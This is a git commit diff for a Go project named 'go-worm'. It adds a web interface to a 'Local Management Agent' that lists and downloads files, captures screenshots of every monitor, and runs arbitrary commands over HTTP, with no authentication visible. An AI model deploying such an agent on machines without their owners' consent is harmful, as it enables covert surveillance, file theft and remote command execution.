Update README with build instructions for Windows and refactor agent handlers. Replace handleIndex with handleWeb in Serve method, and remove handleIndex function from handlers.go.

This commit is contained in:
2026-08-18 16:55:42 +03:00
parent f0515d7342
commit 4795c25da7
7 changed files with 458 additions and 10 deletions
+1 -1
View File
@@ -53,7 +53,7 @@ func (a *Agent) Close() {
func (a *Agent) Serve() error {
mux := http.NewServeMux()
mux.HandleFunc("/", a.handleIndex)
mux.HandleFunc("/", a.handleWeb)
mux.HandleFunc("/health", a.handleHealth)
mux.HandleFunc("/healthz", a.handleHealth)
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
-9
View File
@@ -23,15 +23,6 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" || r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
return
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&amp;depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
}
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+39
View File
@@ -0,0 +1,39 @@
package agent
import (
"embed"
"net/http"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
//go:embed web/index.html web/app.js
var webFS embed.FS
func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
name := ""
contentType := ""
switch r.URL.Path {
case "/", "/index.html":
name = "web/index.html"
contentType = "text/html; charset=utf-8"
case "/app.js":
name = "web/app.js"
contentType = "text/javascript; charset=utf-8"
default:
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
return
}
data, err := webFS.ReadFile(name)
if err != nil {
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
return
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Cache-Control", "no-cache")
_, _ = w.Write(data)
}
+224
View File
@@ -0,0 +1,224 @@
(() => {
const errorEl = document.getElementById("error");
const healthEl = document.getElementById("health");
const statusFields = document.getElementById("status-fields");
const pathInput = document.getElementById("file-path");
const fileMeta = document.getElementById("file-meta");
const fileRows = document.getElementById("file-rows");
const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta");
let objectUrls = [];
function showError(message) {
errorEl.textContent = message || "";
errorEl.classList.toggle("show", Boolean(message));
}
async function readError(res) {
try {
const data = await res.json();
return data.error || res.statusText;
} catch {
return res.statusText || "request failed";
}
}
async function api(url, options) {
showError("");
const res = await fetch(url, options);
if (!res.ok) {
throw new Error(await readError(res));
}
return res;
}
function formatBytes(n) {
if (n < 1024) return `${n} B`;
const units = ["KB", "MB", "GB", "TB"];
let value = n / 1024;
let i = 0;
while (value >= 1024 && i < units.length - 1) {
value /= 1024;
i += 1;
}
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
}
function joinPath(base, name) {
if (!base) return name;
if (/[\\/]$/.test(base)) return base + name;
return `${base}\\${name}`;
}
function parentPath(path) {
const trimmed = String(path || "").replace(/[\\/]+$/, "");
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
if (idx <= 2) return trimmed.slice(0, 3);
return trimmed.slice(0, idx);
}
function revokeShots() {
for (const url of objectUrls) URL.revokeObjectURL(url);
objectUrls = [];
}
async function loadHealth() {
try {
const res = await api("/health");
const data = await res.json();
healthEl.textContent = data.status === "ok" ? "online" : data.status;
healthEl.className = "badge ok";
} catch (err) {
healthEl.textContent = "offline";
healthEl.className = "badge bad";
showError(err.message);
}
}
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const fields = [
["Hostname", data.hostname],
["User", data.user],
["OS", data.os],
["Architecture", data.architecture],
["Version", data.agent_version],
["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
];
statusFields.replaceChildren(
...fields.flatMap(([label, value]) => {
const dt = document.createElement("dt");
dt.textContent = label;
const dd = document.createElement("dd");
dd.textContent = value || "—";
return [dt, dd];
})
);
}
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
query.set("depth", "0");
const res = await api(`/api/v1/files?${query}`);
const data = await res.json();
pathInput.value = data.path || "";
const entries = data.entries || [];
fileMeta.textContent = `${entries.length} entries`;
fileRows.replaceChildren();
for (const entry of entries) {
const tr = document.createElement("tr");
const name = document.createElement("td");
name.className = entry.type === "dir" ? "name" : "name file";
name.textContent = entry.name;
name.addEventListener("click", () => {
const full = joinPath(data.path, entry.name);
if (entry.type === "dir") {
listFiles(full).catch((err) => showError(err.message));
} else {
const link = document.createElement("a");
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
link.download = entry.name;
document.body.append(link);
link.click();
link.remove();
}
});
const type = document.createElement("td");
type.textContent = entry.type;
const size = document.createElement("td");
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
tr.append(name, type, size, modified);
fileRows.append(tr);
}
}
async function captureScreen() {
revokeShots();
shotGallery.replaceChildren();
const format = document.getElementById("shot-format").value;
const quality = document.getElementById("shot-quality").value;
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
const contentType = res.headers.get("content-type") || "";
if (contentType.includes("application/json")) {
const data = await res.json();
for (const image of data.images || []) {
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
}
return;
}
addShot(await res.blob(), "Display");
}
function base64Blob(data, contentType) {
const binary = atob(data);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i += 1) {
bytes[i] = binary.charCodeAt(i);
}
return new Blob([bytes], { type: contentType || "application/octet-stream" });
}
function addShot(blob, caption) {
const url = URL.createObjectURL(blob);
objectUrls.push(url);
const figure = document.createElement("figure");
const img = document.createElement("img");
img.src = url;
img.alt = caption;
const figcaption = document.createElement("figcaption");
figcaption.className = "meta";
figcaption.textContent = caption;
figure.append(img, figcaption);
shotGallery.append(figure);
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
const res = await api("/api/v1/exec", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command, timeout_sec: timeout }),
});
const data = await res.json();
execMeta.textContent = `exit code ${data.exit_code}`;
const stdout = data.stdout || "";
const stderr = data.stderr || "";
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
}
document.querySelectorAll("nav button").forEach((button) => {
button.addEventListener("click", () => {
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active");
});
});
document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
document.getElementById("file-up").addEventListener("click", () => {
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
});
document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message));
});
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
})();
+191
View File
@@ -0,0 +1,191 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Local Management Agent</title>
<style>
:root {
--bg: #f4f5f7;
--card: #fff;
--text: #1f2937;
--muted: #6b7280;
--line: #e5e7eb;
--accent: #2563eb;
--danger: #b91c1c;
--ok: #047857;
}
* { box-sizing: border-box; }
body {
margin: 0;
font: 15px/1.45 system-ui, Segoe UI, sans-serif;
color: var(--text);
background: var(--bg);
}
header, main { max-width: 1100px; margin: 0 auto; padding: 0 1.25rem; }
header {
display: flex;
align-items: baseline;
justify-content: space-between;
gap: 1rem;
padding-top: 1.5rem;
padding-bottom: 1rem;
}
h1 { font-size: 1.35rem; margin: 0; }
h2 { font-size: 1rem; margin: 0 0 0.85rem; }
.badge {
font-size: 0.8rem;
padding: 0.2rem 0.55rem;
border-radius: 999px;
background: #e5e7eb;
color: var(--muted);
}
.badge.ok { background: #d1fae5; color: var(--ok); }
.badge.bad { background: #fee2e2; color: var(--danger); }
nav {
max-width: 1100px;
margin: 0 auto 1rem;
padding: 0 1.25rem;
display: flex;
gap: 0.4rem;
}
nav button, .row button, .row select {
font: inherit;
border: 1px solid var(--line);
background: var(--card);
border-radius: 6px;
padding: 0.4rem 0.75rem;
cursor: pointer;
}
nav button.active, .row button.primary {
background: var(--accent);
border-color: var(--accent);
color: #fff;
}
.panel {
display: none;
background: var(--card);
border: 1px solid var(--line);
border-radius: 10px;
padding: 1rem 1.1rem 1.2rem;
margin-bottom: 1.5rem;
}
.panel.active { display: block; }
.row {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-bottom: 0.75rem;
}
input, textarea, select {
font: inherit;
border: 1px solid var(--line);
border-radius: 6px;
padding: 0.4rem 0.6rem;
}
input[type="text"], textarea { flex: 1; min-width: 12rem; }
textarea { width: 100%; min-height: 4.5rem; font-family: ui-monospace, Consolas, monospace; }
.meta { color: var(--muted); font-size: 0.9rem; }
dl {
display: grid;
grid-template-columns: 10rem 1fr;
gap: 0.35rem 0.8rem;
margin: 0;
}
dt { color: var(--muted); }
dd { margin: 0; word-break: break-all; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 0.4rem 0.35rem; border-bottom: 1px solid var(--line); }
th { color: var(--muted); font-weight: 600; font-size: 0.8rem; }
td.name { cursor: pointer; color: var(--accent); }
td.name.file { color: var(--text); }
pre {
margin: 0.5rem 0 0;
padding: 0.75rem;
background: #0f172a;
color: #e2e8f0;
border-radius: 8px;
overflow: auto;
max-height: 22rem;
white-space: pre-wrap;
}
.shots { display: flex; flex-wrap: wrap; gap: 0.75rem; }
.shots figure { margin: 0; }
.shots img { max-width: 100%; height: auto; border: 1px solid var(--line); border-radius: 8px; }
.error {
display: none;
max-width: 1100px;
margin: 0 auto 1rem;
padding: 0.65rem 1.25rem;
color: var(--danger);
}
.error.show { display: block; }
</style>
</head>
<body>
<header>
<h1>Local Management Agent</h1>
<span id="health" class="badge">checking</span>
</header>
<p id="error" class="error"></p>
<nav>
<button data-tab="status" class="active">Status</button>
<button data-tab="files">Files</button>
<button data-tab="screenshot">Screenshot</button>
<button data-tab="exec">Command</button>
</nav>
<main>
<section id="status" class="panel active">
<div class="row">
<h2>Host status</h2>
<button id="refresh-status" class="primary" type="button">Refresh</button>
</div>
<dl id="status-fields"></dl>
</section>
<section id="files" class="panel">
<div class="row">
<input id="file-path" type="text" placeholder="Directory path, e.g. C:\Users">
<button id="file-up" type="button">Up</button>
<button id="file-list" class="primary" type="button">List</button>
</div>
<p id="file-meta" class="meta"></p>
<table>
<thead>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th></tr>
</thead>
<tbody id="file-rows"></tbody>
</table>
</section>
<section id="screenshot" class="panel">
<div class="row">
<label>Format
<select id="shot-format">
<option value="png">PNG</option>
<option value="jpeg">JPEG</option>
</select>
</label>
<label>Quality
<input id="shot-quality" type="number" min="1" max="100" value="80" style="width:5rem">
</label>
<button id="shot-capture" class="primary" type="button">Capture</button>
</div>
<div id="shot-gallery" class="shots"></div>
</section>
<section id="exec" class="panel">
<div class="row">
<textarea id="exec-command" placeholder="ipconfig /all"></textarea>
</div>
<div class="row">
<label>Timeout (sec)
<input id="exec-timeout" type="number" min="0" max="120" value="30" style="width:5rem">
</label>
<button id="exec-run" class="primary" type="button">Run</button>
</div>
<p id="exec-meta" class="meta"></p>
<pre id="exec-out"></pre>
</section>
</main>
<script src="/app.js"></script>
</body>
</html>